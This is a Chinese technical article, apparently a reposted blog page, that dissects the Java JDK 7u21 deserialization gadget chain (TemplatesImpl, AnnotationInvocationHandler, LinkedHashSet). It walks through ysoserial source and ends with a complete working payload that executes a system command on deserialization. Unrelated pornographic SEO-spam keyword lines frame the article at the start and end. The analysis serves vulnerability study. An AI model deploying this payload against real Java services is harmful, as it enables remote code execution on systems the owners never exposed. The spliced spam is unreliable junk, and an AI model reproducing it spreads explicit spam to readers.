国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

Java 7u21鏈原理是什么

發(fā)布時(shí)間:2021-09-14 11:25 來(lái)源:億速云 閱讀:0 作者:chen 欄目: 網(wǎng)絡(luò )安全

這篇文章主要介紹“Java 7u21鏈原理是什么”,在日常操作中,相信很多人在Java 7u21鏈原理是什么問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對大家解答”Java 7u21鏈原理是什么”的疑惑有所幫助!接下來(lái),請跟著(zhù)小編一起來(lái)學(xué)習吧!

簡(jiǎn)介

jdk7u21 鏈,是一個(gè)不需要借助第三方庫就能實(shí)現的鏈。影響版本<=7u21

分析

from ysonerial

我們先來(lái)看看ysonerial里的payload是怎么寫(xiě)的,然后沿著(zhù)其思路進(jìn)行分析

public Object getObject(String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", (Object)null);
Reflections.setFieldValue(templates, "_class", (Object)null);
map.put(zeroHashCodeStr, templates);
return set;
}

TemplatesImpl

我們看到,ysonerial的payload上來(lái)就通過(guò)Gadgets.createTemplatesImpl(command) 試圖創(chuàng )建一個(gè)TemplatesImpl類(lèi)。 createTemplatesImpl源碼如下,我們發(fā)現創(chuàng )建TemplatesImpl類(lèi)后又通過(guò)反射和javassist做了許多操作。

public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

那么為什么要創(chuàng )建這個(gè)類(lèi)并且調用反射和javassist機制呢?先不急,我們看一下TemplatesImpl源碼。

首先TemplatesImpl類(lèi)中有個(gè)方法defineTransletClasses,它的主要代碼如下

private byte[][] _bytecodes = (byte[][])null;

private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
.....
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});

try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];

for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);  \\將_bytecodes中的所有字節通過(guò)defineClass轉化為一個(gè)類(lèi)
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
}

也就是說(shuō)通過(guò)這個(gè)方法可以將_bytecodes數組中的字節還原成一個(gè)類(lèi),存儲到_class變量中。接下來(lái)如果我們能找到調用defineTransletClasses方法并執行了_class[].newinstance() 這樣的的代碼的方法,就能實(shí)例化從字節得到的類(lèi)了,從而就能執行類(lèi)中的靜態(tài)代碼塊和構造函數了! 所以接下來(lái)我們需要去尋找這種方法。 通過(guò)搜索defineTransletClasses,我們找到了有如下三個(gè)方法調用了defineTransletClasses方法:

getTransletInstance
getTransletIndex
getTransletClasses

其中,getTransletInstance方法是唯一符合“調用了defineTransletClasses且有_class[].newinstance()”的方法,其代碼如下

private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(this._useServicesMechanism);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}

return translet;
}

那么,getTransletInstance是一個(gè)private方法,我們不能直接調用它,在那里能去調用它呢?答案是newTransformer方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here
········
}

OK.我們找到了觸發(fā)7u21鏈的一個(gè)核心點(diǎn)了。我們寫(xiě)個(gè)小demo來(lái)通過(guò)TemplatesImpl實(shí)現代碼執行 小demo的實(shí)現思路為:通過(guò)javassist動(dòng)態(tài)生成一個(gè)惡意類(lèi)(構造方法或者靜態(tài)代碼塊有惡意代碼),然后通過(guò)反射生成一個(gè)TemplatesImpl對象并設置各個(gè)變量的值,然后調用一下TemplatesImpl對象的newTransformer方法即可造成代碼執行,代碼如下

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd); \\向靜態(tài)代碼塊插入惡意代碼,插入到構造函數也可以
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  \\需設置此項才能實(shí)現newinstance,具體原因請看defineTransletClasses和getTransletInstance源碼
cc.setName("evilClass");


byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍歷Fields數組
try { 
Field.setAccessible(true);  //對數組中的每一項實(shí)現私有訪(fǎng)問(wèn)
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
templates.newTransformer();
}
}

但僅僅是這樣,肯定是不夠的。

AnnotationInvocationHandler

我們繼續看ysoserial源碼可以看到動(dòng)用了AnnotationInvocationHandler這個(gè)東西.這個(gè)類(lèi)原本的作用是作為Annotation 類(lèi)的動(dòng)態(tài)代理

我們把目光聚焦于invoke方法——動(dòng)態(tài)代理的核心

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} 
..........
}

它會(huì )檢測傳入的方法中是否有符合 名為equals,只有一個(gè)Object類(lèi)型參數。若是,則調用equalsImpl方法并傳入方法中的參數。 跟進(jìn)equalsimpl方法

private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);   \\here
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

發(fā)現會(huì )invoke 傳入參數中的所有方法。 那么接下來(lái)我們就可以按照下面的思路寫(xiě)一個(gè)命令執行小demo:

創(chuàng )建一個(gè)包含惡意代碼的TemplatesImpl實(shí)例,通過(guò)AnnotationInvocationHandler創(chuàng )建任意一個(gè)代理對象,然后代理對象調用equals方法傳入參數為惡意TemplatesImpl對象,即可造成惡意代碼執行 看到這里一定一頭霧水,看看demo也許會(huì )好一點(diǎn)

public class test{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍歷Fields數組
try { //執行g(shù)et()方法時(shí)需拋出IllegalAccessException錯誤
Field.setAccessible(true);  //對數組中的每一項實(shí)現私有訪(fǎng)問(wèn)
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}
//以上代碼生成了惡意TemplatesImpl對象templates

Map map = new HashMap();
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];  //獲得AnnotationInvocationHandler構造方法,方便獲得它一個(gè)實(shí)例
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);  //這里有個(gè)問(wèn)題,為什么要傳入Templates類(lèi)對象而不是TemplatesImpl
Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);  \\反正創(chuàng  )建一個(gè)AnnotationInvocationHandler的代理對象就行了,前兩個(gè)參數都不用怎么管
proxy.equals(templates); //惡意代碼執行
}
}

我們慢慢看看邏輯,在proxy.equals處下斷點(diǎn),調試 毫無(wú)疑問(wèn)會(huì )進(jìn)入到此處:AnnotationInvocationHandler的invoke方法。

然后參數符合if判斷,調用equalsImpl方法,并傳入參數為惡意TemplatesImpl對象,接下來(lái)就是進(jìn)入反射調用處

遍歷var2變量中的方法,并由我們的惡意對象來(lái)執行。

————此處插一下var2變量的來(lái)歷

注意此處的getMemberMethods方法,它實(shí)質(zhì)上是通過(guò)反射獲得this.type中的所有方法。而this.type是在該對象構造方法中傳入的第一個(gè)參數。

getMemberMethods:

構造方法:

————回到正題

由于我們通過(guò)反射傳入構造方法的第一個(gè)參數是Templates.class,所以它會(huì )遍歷Templates類(lèi)中的所有方法。這個(gè)類(lèi)其實(shí)是TemplatesImpl的接口類(lèi),它的代碼如下

所以var2中存儲的方法只有兩個(gè),newTransformer和getOutputProperties。 然后當遍歷到newTransformer方法時(shí),就會(huì )通過(guò)反射調用達到 eviltemplatesImpl.newTransformer() 的效果,從而導致惡意TemplatesImpl對象中的惡意代碼被執行。

這里承接上面說(shuō)的,為什么初始化AnnotationInvocationHandler對象時(shí)傳入的第一個(gè)參數(即this.type)是Templates.class,而不是TemplatesImpl.class 誠然,這兩個(gè)類(lèi)對象都有方法newTransformer。但是如果傳入TemplatesImpl.class,在遍歷其中方法并通過(guò)反射執行時(shí)會(huì )出現錯誤:equalsImpl中的反射調用是不傳入參數的

而TemplatesImpl中有許多需要傳入參數才能被正常使用的方法,如果不傳入參數就反射調用就會(huì )拋出異常,以至于在遍歷到newTransformer方法前就會(huì )拋出異常,從而導致代碼執行不被實(shí)現。

僅僅是這樣,也還是不夠的,我們還是得手動(dòng)調用equals才能導致代碼執行,反序列化點(diǎn)在哪里?

LinkedHashSet

ysoserial的payload中出現了此類(lèi)。

LinkedHashSet繼承自HashSet類(lèi),它的readObject方法也是從HashSet繼承而來(lái)的。我們看看readObject方法的構造

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
int var2 = var1.readInt();
float var3 = var1.readFloat();
this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3));
int var4 = var1.readInt();

for(int var5 = 0; var5 < var4; ++var5) {
Object var6 = var1.readObject();
this.map.put(var6, PRESENT);
}

}
}

它的主要亮點(diǎn)在for循環(huán)里面:遍歷傳入的序列化對象,將其反序列化后,再傳入put方法

所以我們再來(lái)跟進(jìn)一下map.put方法

public V put(K var1, V var2) {
if (var1 == null) {
return this.putForNullKey(var2);
} else {
int var3 = this.hash(var1);
int var4 = indexFor(var3, this.table.length);

for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
Object var6;
if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) {  //here
Object var7 = var5.value;
var5.value = var2;
var5.recordAccess(this);
return var7;
}
}

++this.modCount;
this.addEntry(var3, var1, var2, var4);
return null;
}
}

注意我們添加注釋那一行,有一個(gè)var1.equals(var6))) 其中var1和var6我們都是可以控制的:var1即傳入的反序列化對象(惡意TemplatesImpl),var6實(shí)際上也是我們傳入的反序列化對象(惡意AnnotationInvocationHandler代理對象)。

但是想要執行var1.equals(var6))) 則必須要讓 var5.hash == var3 為true 且 (var6 = var5.key) == var1為false. 怎么做到呢?

注意put方法的第5行,對傳入的反序列化對象調用了hash方法。我們跟進(jìn)hash方法

final int hash(Object var1) {
int var2 = 0;
if (this.useAltHashing) {
if (var1 instanceof String) {
return Hashing.stringHash42((String)var1);
}

var2 = this.hashSeed;
}

var2 ^= var1.hashCode();  //here
var2 ^= var2 >>> 20 ^ var2 >>> 12;
return var2 ^ var2 >>> 7 ^ var2 >>> 4;
}

發(fā)現會(huì )執行傳入的參數對象的hashCode()方法 當我們傳入的參數為惡意AnnotationInvocationHandler代理對象時(shí),會(huì )調用代理對象中的invoke方法。對于A(yíng)nnotationInvocationHandler而言當判斷到執行hashCode方法時(shí),實(shí)質(zhì)上會(huì )執行AnnotationInvocationHandler中的hashCodeImpl方法

我們跟進(jìn)hashCodeImpl

private int hashCodeImpl() {
int var1 = 0;

Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}

return var1;
}
上面是真實(shí)代碼,比較難看,所以借鑒了一下別人對其進(jìn)行修改后的代碼,方便我們進(jìn)行分析
private int hashCodeImpl() {
int result = 0;
// 遍歷 memberValues
Iterator itr = this.memberValues.entrySet().iterator();
for( ;itr.hasNext(); ) {
Entry entry = (Entry)itr.next();
String key = ((String)entry.getKey());
Object value = entry.getValue();
// 127 * key 的 hashCode,再和 memberValueHashCode(value) 進(jìn)行異或
result += 127 * key.hashCode() ^ memberValueHashCode(value);
}
return result;
}

這個(gè)方法會(huì )遍歷this.memberValues屬性(這個(gè)屬性實(shí)質(zhì)上就是HashMap內添加的屬性),然后對其中每一項鍵值屬性進(jìn)行進(jìn)行位運算并累加

其中memberValueHashCode函數我們也可以跟進(jìn)一下

發(fā)現只要傳入參數不為數組,就調用它的hashCode函數并返回。

我們來(lái)梳理一下,怎么才能調用到put方法里的equals觸發(fā)代碼執行: payload階段:

建立一個(gè)map變量,其key為特殊的一個(gè)值:f5a5a608,這個(gè)值的hashCode是0,然后值為惡意templatesImpl類(lèi),然后以這個(gè)map變量為參數建立AnnotationInvocationHandler代理對象。

再向HashMap里放入一個(gè)值,鍵為惡意TemplatesImpl對象, 再放入一個(gè)值,鍵為惡意AnnotationInvocationHandler對象。 (LinkedHashSet會(huì )讓HashMap有序,從而在反序列化的時(shí)候能按順序依次從HashMap讀取對象。如果用HashSet,則會(huì )在反序列化時(shí)報錯)

反序列化階段:

隨后在readObject時(shí),TemplatesImpl先被put方法調用。

然后在put方法里通過(guò)hash()方法獲得其hash,并將其錄入到它的hash屬性里,然后寫(xiě)入到HashMap的存儲隊列里。

然后AnnotationInvocationHandler再被put方法調用

在對其使用hash方法獲得hash時(shí),會(huì )因其是一個(gè)代理類(lèi)的緣故在hash函數內部調用hashCode()方法時(shí)會(huì )調用其代理方法hashCodeImpl。

隨后在hashCodeImpl內部遍歷this.memberValues變量(也就是之前初始化時(shí)放入的map變量)

將每一項的key值的hashCode與傳入map vaule值作為參數的memberValueHashCode方法進(jìn)行異或。 這個(gè)memberValueHashCode方法會(huì )判斷傳入的值是否為數組,若不是數組則直接返回參數的hashCode()。

因為我們之前初始化代理對象時(shí)傳入的是一個(gè)鍵為f5a5a608,值為eviltemplates的map,所以以上hash計算最終得到的結果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是說(shuō)AnnotationInvocationHandler對象作為參數傳入被hash方法執行后的結果,就相當于是hash(eviltemplates)

隨后這個(gè)值來(lái)到if判斷邏輯,它遍歷之前的值,并將遍歷得到的值賦給var5

上一個(gè)值的hash(也就是eviltemplates的hash)與AnnotationInvocationHandler對象的hash(也還是eviltemplates的hash)相同,但是AnnotationInvocationHandler對象與eviltemplates對象并不相同,所以便觸動(dòng)了equals,代碼執行成功。

完整payload

縱觀(guān)以上三個(gè)類(lèi),我們可以寫(xiě)出payload

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilclass");
String cmd = "Runtime.getRuntime().exec(\"calc\");";
CtConstructor cons = new CtConstructor(new CtClass[]{},cc);
cons.setBody("Runtime.getRuntime().exec(\"calc\");");
cc.addConstructor(cons);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.setName("evilClass");

byte[] evilbytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{evilbytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class clazz = TemplatesImpl.class.newInstance().getClass();
Field[] Fields = clazz.getDeclaredFields();
for (Field Field : Fields) { //遍歷Fields數組
try { //執行g(shù)et()方法時(shí)需拋出IllegalAccessException錯誤
Field.setAccessible(true);  //對數組中的每一項實(shí)現私有訪(fǎng)問(wèn)
if(Field.getName()=="_bytecodes"){
Field.set(templates,targetByteCodes);
}
if(Field.getName()=="_class"){
Field.set(templates,null);
}
if(Field.getName()=="_name"){
Field.set(templates,"abc");
}
if(Field.getName()=="_tfactory"){
Field.set(templates,new TemplatesImpl());
}
} catch (Exception e) {}
}


Map map = new HashMap();
String magicStr = "f5a5a608";
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);

InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Object proxy =  Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler);
HashSet target = new LinkedHashSet();
target.add(templates);
target.add(proxy);
//這個(gè)map需要在Hashmap put了proxy后再賦值,不然會(huì )報錯(我也不知道為什么
map.put(magicStr, templates);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
oos.writeObject(target);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();

看一下調用棧

更直觀(guān)的調用鏈

LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
// TemplatesImpl.getOutputProperties(),實(shí)際測試時(shí)會(huì )直接調用 newTransformer()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

亚洲国产欧美在线人成大黄瓜| 人人爽人人爽人人爽| 用舌头去添高潮无码视频| 在线观看一区二区三区AV| 久久精品无码免费不卡| 亚洲漂亮少妇毛茸茸|